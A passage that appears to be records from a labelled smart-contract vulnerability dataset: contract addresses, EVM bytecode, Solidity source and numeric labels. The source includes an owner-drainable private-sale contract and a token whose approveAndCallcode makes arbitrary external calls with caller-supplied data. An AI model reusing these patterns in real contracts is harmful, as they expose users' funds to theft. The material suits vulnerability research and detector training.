0x6080604052600436106100e55763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461026d5780633c28308a146102945780633c3c9c23146102a95780634311de8f146102be578063547e3f06146102d35780636561e6ba146102f6578063747dff421461030b5780637e8ac5901461043e57806380ec35ff146104b65780638da5cb5b146104ce578063a05ce940146104ff578063c5960c291461054e578063d65ab5f214610562578063d982466d14610577578063e3aae11b146105c1578063f7260d3e146105ea575b33803b801561012c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612806833981519152604482015290519081900360640190fd5b34633b9aca008110156101af576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af6800000811115610211576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b60075460ff16151560011461025e576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206127e6833981519152604482015290519081900360640190fd5b61026860006105ff565b505050005b34801561027957600080fd5b50610282611120565b60408051918252519081900360200190f35b3480156102a057600080fd5b506102826112de565b3480156102b557600080fd5b506102826112e4565b3480156102ca57600080fd5b506102826112ea565b3480156102df57600080fd5b506102f4600160a060020a03600435166112f0565b005b34801561030257600080fd5b506102f4611381565b34801561031757600080fd5b50610320611574565b6040518088815260200187600260200280838360005b8381101561034e578181015183820152602001610336565b5050505090500186600360200280838360005b83811015610379578181015183820152602001610361565b5050505090500185600260200280838360005b838110156103a457818101518382015260200161038c565b5050505090500184600660200280838360005b838110156103cf5781810151838201526020016103b7565b5050505090500183600b60200280838360005b838110156103fa5781810151838201526020016103e2565b5050505090500182600460200280838360005b8381101561042557818101518382015260200161040d565b5050505090500197505050505050505060405180910390f35b34801561044a57600080fd5b5061045660043561177c565b604080519b8c5260208c019a909a528a8a019890985260608a01969096526080890194909452600160a060020a0392831660a0890152911660c087015260e086015261010085015261012084015261014083015251908190036101600190f35b3480156104c257600080fd5b506102f46004356117e2565b3480156104da57600080fd5b506104e3611dc3565b60408051600160a060020a039092168252519081900360200190f35b34801561050b57600080fd5b50610523600435600160a060020a0360243516611dd2565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6102f4600160a060020a0360043516611e0a565b34801561056e57600080fd5b506102f4611f92565b34801561058357600080fd5b5061059b600435600160a060020a03602435166120d7565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105cd57600080fd5b506105d6612442565b604080519115158252519081900360200190f35b3480156105f657600080fd5b506104e361244b565b60008054808252600260205260408220600301543492429291849190819081908190819088111561083b5760008781526002602052604090206003015461a8c0018811610696576040805160e560020a62461bcd02815260206004820152601860248201527f77652073686f756c64207761697420736f6d652074696d650000000000000000604482015290519081900360640190fd5b6000878152600260205260409020601881015490546106da91906064906106c490600e63ffffffff61245a16565b8115156106cd57fe5b049063ffffffff6124d716565b600088815260026020526040902060170154909550600b11156107f65760008781526002602052604090206017015461071b90600b9063ffffffff6124d716565b60008881526002602052604090205490945060649061074190601e63ffffffff61245a16565b81151561074a57fe5b600089815260026020526040902060190154919004935061077290849063ffffffff61253716565b600088815260026020526040902060060154909350600160a060020a0316156107da576107d36107c660646107ae86600363ffffffff61245a16565b8115156107b757fe5b8791900463ffffffff61245a16565b869063ffffffff61253716565b94506107f6565b6107f36107c660646107ae86600463ffffffff61245a16565b94505b61080787600163ffffffff61253716565b600081815581815260026020819052604082209081018b905561a8c08b016003820155601781019190915560190186905596505b6000878152600260205260409020600101546a0c685fa11e01ec6f0000001115610be95760008781526002602052604090205461087e908a63ffffffff61259216565b6000888152600260205260409020600101549092506a0c685fa11e01ec6f000000906108b190849063ffffffff61253716565b10610a0d576000878152600260205260409020600101546108e4906a0c685fa11e01ec6f0000009063ffffffff6124d716565b6000888152600260205260409020549092506903f5e5fbdc485eafe2001161090f576000955061093c565b600087815260026020526040902054610939906903f5e5fbdc485eafe2009063ffffffff6124d716565b95505b8589111561098657336108fc6109588b8963ffffffff6124d716565b6040518115909202916000818181858888f19350505050158015610980573d6000803e3d6000fd5b5061098a565b8895505b61099c8861070863ffffffff61253716565b6000888152600260205260409020600401556109d26107086109c68a61038463ffffffff61253716565b9063ffffffff61253716565b60008881526002602052604090206003810191909155600601805473ffffffffffffffffffffffffffffffffffffffff191633179055610a87565b678ac7230489e80000821015610a6d576040805160e560020a62461bcd02815260206004820152601960248201527f6174206c656173742031302074686f756e642070656f706c6500000000000000604482015290519081900360640190fd5b600087815260026020526040902061a8c089016003909101555b6000878152600260209081526040808320600501805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560038352818420908452909152902060010154610adf90839063ffffffff61253716565b60008881526003602090815260408083203384529091529020600181019190915554610b0c908790612537565b6000888152600360209081526040808320338452825280832093909355898252600290522060010154610b4690839063ffffffff61253716565b6000888152600260205260409020600181019190915554610b6e90879063ffffffff61253716565b600088815260026020526040902055600154610b9190879063ffffffff61253716565b60015560408051838152602081018890528082018a90529051600160a060020a038c1691899133917f6ba72b77342d975bcfca91896da50e2306b21fa4b34dc71d1beb12dbd6afc33b919081900360600190a4610eed565b6000878152600260205260409020600401548811610c51576040805160e560020a62461bcd02815260206004820152601e60248201527f546865207669727573206973206265696e672070726570617265642e2e2e0000604482015290519081900360640190fd5b610ca966b1a2bc2ec500006109c666b1a2bc2ec50000612a30610c93600260008e8152602001908152602001600020600401548e6124d790919063ffffffff16565b811515610c9c57fe5b049063ffffffff61245a16565b955085891015610d03576040805160e560020a62461bcd02815260206004820152601560248201527f457468657220616d6f756e742069732077726f6e670000000000000000000000604482015290519081900360640190fd5b85891115610d4957336108fc610d1f8b8963ffffffff6124d716565b6040518115909202916000818181858888f19350505050158015610d47573d6000803e3d6000fd5b505b60008781526002602090815260408083206103848c016003808301919091556005909101805473ffffffffffffffffffffffffffffffffffffffff191633908117909155908352818420908452909152902054610dad90879063ffffffff61253716565b6000888152600360209081526040808320338452825280832093909355898252600290522054610de490879063ffffffff61253716565b600088815260026020526040902055600154610e0790879063ffffffff61253716565b6001908155600088815260026020526040902060040154610e3e91906109c6908290612a3090610c93908e9063ffffffff6124d716565b905061019a8110610e4e575061019a5b6000878152600260205260409020601a0154610e8d906103e8610e77848a63ffffffff61245a16565b811515610e8057fe5b049063ffffffff61253716565b600088815260026020908152604091829020601a019290925580518881529182018a90528051600160a060020a038d16928a9233927f7cfc1da3c0c40e1670d11d884a3776eb3a8949e87b844c6dac43b5c9c3dc5f7e9281900390910190a45b600160a060020a038a1615801590610f095750610f098a6125cb565b1561100857610f766064610f2488600a63ffffffff61245a16565b811515610f2d57fe5b04600360008a815260200190815260200160002060008d600160a060020a0316600160a060020a031681526020019081526020016000206003015461253790919063ffffffff16565b6003600089815260200190815260200160002060008c600160a060020a0316600160a060020a0316815260200190815260200160002060030181905550610ff56064610fcc600a8961245a90919063ffffffff16565b811515610fd557fe5b60008a81526002602052604090206018015491900463ffffffff61253716565b6000888152600260205260409020601801555b60008781526002602052604090206017810154600790910190600b9006600b811061102f57fe5b015460008881526002602052604090206017810154600160a060020a03909216916012909101906003166004811061106357fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560008781526002602052604090206017810154339160070190600b9006600b81106110b657fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556000878152600260205260409020601701546110ff906001612537565b60009788526002602052604090972060170196909655505050505050505050565b60008054808252600260205260408220600301544290839082111561114e576602aa209ead3c5093506112d8565b6000838152600260205260409020600101546a0c685fa11e01ec6f00000011156111b5576000838152600260205260409020600101546111ae90678ac7230489e80000906111a2908263ffffffff61253716565b9063ffffffff6125d716565b93506112d8565b6000838152600260205260409020600101546a0c685fa11e01ec6f000000118015906111f1575060008381526002602052604090206004015415155b80156112165750600083815260026020526040902060060154600160a060020a031615155b8015611232575060008381526002602052604090206004015482105b156112465766b1a2bc2ec5000093506112d8565b6000838152600260205260409020600101546a0c685fa11e01ec6f00000011801590611282575060008381526002602052604090206004015482115b156112d3576112c966b1a2bc2ec500006109c666b1a2bc2ec50000612a30610c93600260008a815260200190815260200160002060040154886124d790919063ffffffff16565b90508093506112d8565b600093505b50505090565b60005481565b60015481565b60065481565b600454600160a060020a03163314611352576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008033803b80156113cb576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612806833981519152604482015290519081900360640190fd5b60075460ff161515600114611418576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206127e6833981519152604482015290519081900360640190fd5b600554600160a060020a031615156114a0576040805160e560020a62461bcd02815260206004820152602e60248201527f546865207265636569766572206164647265737320686173206e6f742062656560448201527f6e20696e697469616c697a65642e000000000000000000000000000000000000606482015290519081900360840190fd5b6001546064906114b790600563ffffffff61245a16565b8115156114c057fe5b04935060065492508284111515611521576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b6006849055600554600160a060020a03166108fc611545868663ffffffff6124d716565b6040518115909202916000818181858888f1935050505015801561156d573d6000803e3d6000fd5b5050505050565b600061157e61274d565b611586612768565b61158e61274d565b611596612787565b61159e6127a6565b6115a66127c6565b6000805480825260026020526040822054909190611608906064906115d290601e63ffffffff61245a16565b8115156115db57fe5b6000858152600260205260409020601a81015460199091015492909104916109c69163ffffffff61253716565b604080518082018252600085815260026020818152848320805485526001810154828601528551606081018752818401548152600382015481840152600482015481880152865180880188526005830154600160a060020a039081168252958b905293835260069091015490931690820152835160c081019094529394508593919290919080611696611120565b815260008881526002602081815260408084206019810154838701528186018c9052601881015460608701526017810154600b908190066080880152601a82015460a090970196909652938c905291905280516101608101918290526007830193601290930192909184919082845b8154600160a060020a0316815260019091019060200180831161170557505060408051608081019182905294965085935060049250905082845b8154600160a060020a0316815260019091019060200180831161173f57505050505090509850985098509850985098509850505090919293949596565b600260208190526000918252604090912080546001820154928201546003830154600484015460058501546006860154601787015460188801546019890154601a90990154979998969795969495600160a060020a03948516959390941693919290918b565b600080808080808033803b8015611831576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612806833981519152604482015290519081900360640190fd5b60075460ff16151560011461187e576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206127e6833981519152604482015290519081900360640190fd5b6000548a11156118d8576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b60008a8152600260205260408120549099506064906118fe90601e63ffffffff61245a16565b81151561190757fe5b60008c815260026020526040902060190154919004985061192f90899063ffffffff61253716565b60008b8152600260205260409020601a015490985061195590899063ffffffff61253716565b60008b815260026020526040812054919950975060649061197d90603363ffffffff61245a16565b81151561198657fe5b60008c8152600260205260409020601a015491900496506119ae90879063ffffffff6124d716565b60008b81526003602090815260408083203384529091529020600101549096506119df90879063ffffffff61245a16565b60008b815260026020526040902060010154909650868115156119fe57fe5b60008c8152600360208181526040808420338552909152909120015491900496509450611a31868663ffffffff61253716565b60008b8152600360209081526040808320338452909152902060020154909650935083861115611a9d57611a7b611a6e878663ffffffff6124d716565b8a9063ffffffff61253716565b60008b8152600360209081526040808320338452909152902060020187905598505b60008a815260026020526040902060060154600160a060020a031633148015611adf575060008a815260026020526040902060060154600160a060020a031615155b8015611afb575060008a81526002602052604090206004015415155b15611b3157611b2e6064611b168a600a63ffffffff61245a16565b811515611b1f57fe5b8991900463ffffffff61253716565b96505b60008a815260026020526040902060030154421115611cf15760008a815260026020526040902060050154600160a060020a0316331415611b8557611b826064611b168a603c63ffffffff61245a16565b96505b600092505b60008a90526002602052600b831015611cf15760008a8152600260205260409020339060070184600b8110611bbb57fe5b0154600160a060020a0316148015611c03575060008a8152600260205260409020601701548390600b90611bf690600163ffffffff6124d716565b811515611bff57fe5b0614155b15611cd95760008a815260026020526040902060160183600b8110611c2457fe5b602081049091015460ff601f9092166101000a90041615611c4457611cd9565b60008a815260026020526040902060060154600160a060020a031615611c8157611c7a6064611b168a600363ffffffff61245a16565b9650611c9a565b611c976064611b168a600463ffffffff61245a16565b96505b60008a815260026020526040902060019060160184600b8110611cb957fe5b602091828204019190066101000a81548160ff0219169083151502179055505b611cea83600163ffffffff61253716565b9250611b8a565b60008a8152600360209081526040808320338452909152902060040154611d2390611a6e90899063ffffffff6124d716565b60008b8152600360209081526040808320338452909152902060040188905598508815611d795760405133908a156108fc02908b906000818181858888f19350505050158015611d77573d6000803e3d6000fd5b505b604080518a815242602082015281518c9233927f067aa1d7e7bd2c0daf878a68551cbd9e1a4dbaaa1510600154c71bffbe420d86929081900390910190a350505050505050505050565b600454600160a060020a031681565b600360208181526000938452604080852090915291835291208054600182015460028301549383015460049093015491939092909185565b33803b8015611e51576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612806833981519152604482015290519081900360640190fd5b34633b9aca00811015611ed4576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af6800000811115611f36576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b60075460ff161515600114611f83576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206127e6833981519152604482015290519081900360640190fd5b611f8c846105ff565b50505050565b600454600160a060020a03163314611ff4576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b60075460ff161561204f576040805160e560020a62461bcd02815260206004820152601d60248201527f5468652067616d652068617320616c7265616479207374617274656421000000604482015290519081900360640190fd5b600160008181526002602052427fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e281905561a8c0017fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e3557fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2f9556007805460ff19169091179055565b600082815260026020526040812054819081908190819081908190819060649061210890603363ffffffff61245a16565b81151561211157fe5b60008c8152600260205260409020601a0154919004935061213990849063ffffffff6124d716565b60008b8152600360209081526040808320600160a060020a038e16845290915290206001015490935061217390849063ffffffff61245a16565b60008b8152600260205260409020600101549093508381151561219257fe5b60008c81526002602052604090205491900493506064906121ba90601e63ffffffff61245a16565b8115156121c357fe5b60008c81526002602052604090206019015491900492506121eb90839063ffffffff61253716565b60008b8152600260205260409020601a015490925061221190839063ffffffff61253716565b60008b815260026020526040902060060154909250600160a060020a038a81169116148015612259575060008a815260026020526040902060060154600160a060020a031615155b8015612275575060008a81526002602052604090206004015415155b156122ab576122a8606461229084600a63ffffffff61245a16565b81151561229957fe5b8691900463ffffffff61253716565b93505b60008a8152600260205260409020600301544211156123fb5760008a815260026020526040902060050154600160a060020a038a811691161415612302576122ff606461229084603c63ffffffff61245a16565b93505b5060005b60008a90526002602052600b8110156123fb5760008a8152600260205260409020600160a060020a038a169060070182600b811061234057fe5b0154600160a060020a0316148015612388575060008a8152600260205260409020601701548190600b9061237b90600163ffffffff6124d716565b81151561238457fe5b0614155b156123e35760008a815260026020526040902060060154600160a060020a0316156123ca576123c3606461229084600363ffffffff61245a16565b93506123e3565b6123e0606461229084600463ffffffff61245a16565b93505b6123f481600163ffffffff61253716565b9050612306565b50506000978852600360208181526040808b20600160a060020a039a909a168b52989052969097209586015460028701546004909701549198909691909101945092505050565b60075460ff1681565b600554600160a060020a031681565b600082151561246b575060006124d1565b5081810281838281151561247b57fe5b04146124d1576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b600082821115612531576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b818101828110156124d1576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b60006125c46125a0846125fd565b6125b86125b3868663ffffffff61253716565b6125fd565b9063ffffffff6124d716565b9392505050565b803b8015905b50919050565b60006125c46125f46125ef858563ffffffff6124d716565b612681565b6125b885612681565b60006309502f906126716d03b2a1d15167e7c5699bfde000006125b861266c7a0dac7055469777a6122ee4310dd6c14410500f29048400000000006109c66b01027e72f1f12813088000006126608a670de0b6b3a764000063ffffffff61245a16565b9063ffffffff61245a16565b6126ee565b81151561267a57fe5b0492915050565b6000612694670de0b6b3a7640000612741565b61267160026126c76126b486670de0b6b3a764000063ffffffff61245a16565b65886c8f6730709063ffffffff61245a16565b8115156126d057fe5b046109c66126dd86612741565b6304a817c89063ffffffff61245a16565b60008060026126fe846001612537565b81151561270757fe5b0490508291505b818110156125d1578091506002612730828581151561272957fe5b0483612537565b81151561273957fe5b04905061270e565b60006124d1828361245a565b60408051808201825290600290829080388339509192915050565b6060604051908101604052806003906020820280388339509192915050565b60c0604051908101604052806006906020820280388339509192915050565b61016060405190810160405280600b906020820280388339509192915050565b608060405190810160405280600490602082028038833950919291505056005468652067616d65206861736e27742073746172746564207965742e00000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820e05d60b44ce490bd187fac60c4d67dae3a62e78c4ce111a796f41a77c5fd93e70029
[ 1, 4, 11 ]
0xf317e851fc17741018b6986360c25a3da48b0b8b
pragma solidity 0.6.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint value) external returns (bool success); } contract AgnosticPrivateSale { using SafeMath for uint256; uint256 public totalSold; ERC20 public Token; address payable public owner; uint256 public constant decimals = 18; uint256 private constant _precision = 10 ** decimals; bool ableToClaim; bool sellSystem; struct User { uint256 accountBalance; } mapping(address => User) public users; address[] public allUsers; constructor(address token) public { owner = msg.sender; Token = ERC20(token); ableToClaim = false; sellSystem = true; } function contribute() external payable { require(sellSystem); require(msg.value >= 10 ether); uint256 amount = msg.value.mul(5); totalSold = totalSold.add(amount); users[msg.sender].accountBalance = users[msg.sender].accountBalance.add(amount); allUsers.push(msg.sender); owner.transfer(msg.value); } function returnAllTokens() public { require(msg.sender == owner); require(ableToClaim); for (uint id = 0; id < allUsers.length; id++) { address getAddressUser = allUsers[id]; uint256 value = users[getAddressUser].accountBalance; users[getAddressUser].accountBalance = users[getAddressUser].accountBalance.sub(value); if(value != 0){ Token.transfer(msg.sender, value); } } } function claimTokens() public { require(ableToClaim); uint256 value = users[msg.sender].accountBalance; users[msg.sender].accountBalance = users[msg.sender].accountBalance.sub(value); Token.transfer(msg.sender, value); } function openClaimSystem (bool _ableToClaim) public { require(msg.sender == owner); ableToClaim = _ableToClaim; } function closeSellSystem () public { require(msg.sender == owner); sellSystem = false; } function liqudity() public { require(msg.sender == owner); Token.transfer(msg.sender, Token.balanceOf(address(this))); } function availableTokens() public view returns(uint256) { return Token.balanceOf(address(this)); } function yourTokens() public view returns(uint256) { return users[msg.sender].accountBalance; } }
0x6080604052600436106100dd5760003560e01c80639106d7ba1161007f578063c241267611610059578063c24126761461022e578063d7bb99ba14610243578063e883c74d1461024b578063fd6c143f14610260576100dd565b80639106d7ba146101bc578063a2bdedf4146101d1578063a87430ba146101fb576100dd565b806348c54b9d116100bb57806348c54b9d1461014c57806369bb4dc2146101615780638b4252d1146101765780638da5cb5b1461018b576100dd565b80631648b799146100e25780632017aa67146100f9578063313ce56714610125575b600080fd5b3480156100ee57600080fd5b506100f7610275565b005b34801561010557600080fd5b506100f76004803603602081101561011c57600080fd5b503515156103a3565b34801561013157600080fd5b5061013a6103d8565b60408051918252519081900360200190f35b34801561015857600080fd5b506100f76103dd565b34801561016d57600080fd5b5061013a6104a7565b34801561018257600080fd5b506100f7610523565b34801561019757600080fd5b506101a0610549565b604080516001600160a01b039092168252519081900360200190f35b3480156101c857600080fd5b5061013a610558565b3480156101dd57600080fd5b506101a0600480360360208110156101f457600080fd5b503561055e565b34801561020757600080fd5b5061013a6004803603602081101561021e57600080fd5b50356001600160a01b0316610585565b34801561023a57600080fd5b506101a0610597565b6100f76105a6565b34801561025757600080fd5b506100f76106af565b34801561026c57600080fd5b5061013a6107bf565b6002546001600160a01b0316331461028c57600080fd5b600254600160a01b900460ff166102a257600080fd5b60005b6004548110156103a0576000600482815481106102be57fe5b60009182526020808320909101546001600160a01b031680835260039091526040909120549091506102f6818063ffffffff6107d216565b6001600160a01b0383166000908152600360205260409020558015610396576001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561036957600080fd5b505af115801561037d573d6000803e3d6000fd5b505050506040513d602081101561039357600080fd5b50505b50506001016102a5565b50565b6002546001600160a01b031633146103ba57600080fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b601281565b600254600160a01b900460ff166103f357600080fd5b33600090815260036020526040902054610413818063ffffffff6107d216565b33600081815260036020908152604080832094909455600154845163a9059cbb60e01b815260048101949094526024840186905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561047857600080fd5b505af115801561048c573d6000803e3d6000fd5b505050506040513d60208110156104a257600080fd5b505050565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156104f257600080fd5b505afa158015610506573d6000803e3d6000fd5b505050506040513d602081101561051c57600080fd5b5051905090565b6002546001600160a01b0316331461053a57600080fd5b6002805460ff60a81b19169055565b6002546001600160a01b031681565b60005481565b6004818154811061056b57fe5b6000918252602090912001546001600160a01b0316905081565b60036020526000908152604090205481565b6001546001600160a01b031681565b600254600160a81b900460ff166105bc57600080fd5b678ac7230489e800003410156105d157600080fd5b60006105e434600563ffffffff6107ec16565b6000549091506105fa908263ffffffff61081a16565b60009081553381526003602052604090205461061c908263ffffffff61081a16565b3360008181526003602052604080822093909355600480546001810182559082527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b03191690921790915560025491516001600160a01b0392909216913480156108fc0292909190818181858888f193505050501580156106ab573d6000803e3d6000fd5b5050565b6002546001600160a01b031633146106c657600080fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b039092169163a9059cbb91339184916370a08231916024808301926020929190829003018186803b15801561071a57600080fd5b505afa15801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561079557600080fd5b505af11580156107a9573d6000803e3d6000fd5b505050506040513d60208110156106ab57600080fd5b3360009081526003602052604090205490565b6000828211156107e157600080fd5b508082035b92915050565b6000826107fb575060006107e6565b8282028284828161080857fe5b041461081357600080fd5b9392505050565b60008282018381101561081357600080fdfea26469706673582212209536ef8fffa9ced4278c37786cd4f4da33ae700f6c607ceaa19603f2e84ff8a964736f6c63430006000033
[ 16 ]
0xF317f4acfC0D70ccc79A2f24cFBbD7ebc02CFa2E
pragma solidity ^0.4.19; /** * Math operations with safety checks */ library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant public returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) constant public returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { using SafeMath for uint; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); /** * update 425 */ require(balances[_to].add(_value) > balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); /** * update 425 */ require(balances[_to].add(_value) > balances[_to]); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract CryptoStrategiesIntelligence is StandardToken { function () public { revert(); } string public name = "CryptoStrategies Intelligence"; uint8 public decimals = 18; uint256 private supplyDecimals = 1 * 10 ** uint256(decimals); string public symbol = "CSI"; string public version = 'v0.1'; address public founder; function CryptoStrategiesIntelligence () public { founder = msg.sender; totalSupply = 100000000000 * supplyDecimals; balances[founder] = totalSupply; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); } return true; } function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(_extraData)) { revert(); } return true; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d7578063095ea7b31461016757806318160ddd146101cc57806323b872dd146101f7578063313ce5671461027c5780634d853ee5146102ad57806354fd4d501461030457806370a082311461039457806395d89b41146103eb578063a9059cbb1461047b578063b11c4fd8146104e0578063cae9ca511461058b578063dd62ed3e14610636575b3480156100d157600080fd5b50600080fd5b3480156100e357600080fd5b506100ec6106ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012c578082015181840152602081019050610111565b50505050905090810190601f1680156101595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017357600080fd5b506101b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074b565b604051808215151515815260200191505060405180910390f35b3480156101d857600080fd5b506101e161083d565b6040518082815260200191505060405180910390f35b34801561020357600080fd5b50610262600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610843565b604051808215151515815260200191505060405180910390f35b34801561028857600080fd5b50610291610ca0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b957600080fd5b506102c2610cb3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031057600080fd5b50610319610cd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035957808201518184015260208101905061033e565b50505050905090810190601f1680156103865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a057600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d77565b6040518082815260200191505060405180910390f35b3480156103f757600080fd5b50610400610dc0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610440578082015181840152602081019050610425565b50505050905090810190601f16801561046d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048757600080fd5b506104c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5e565b604051808215151515815260200191505060405180910390f35b3480156104ec57600080fd5b50610571600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611120565b604051808215151515815260200191505060405180910390f35b34801561059757600080fd5b5061061c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112a5565b604051808215151515815260200191505060405180910390f35b34801561064257600080fd5b50610697600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611542565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f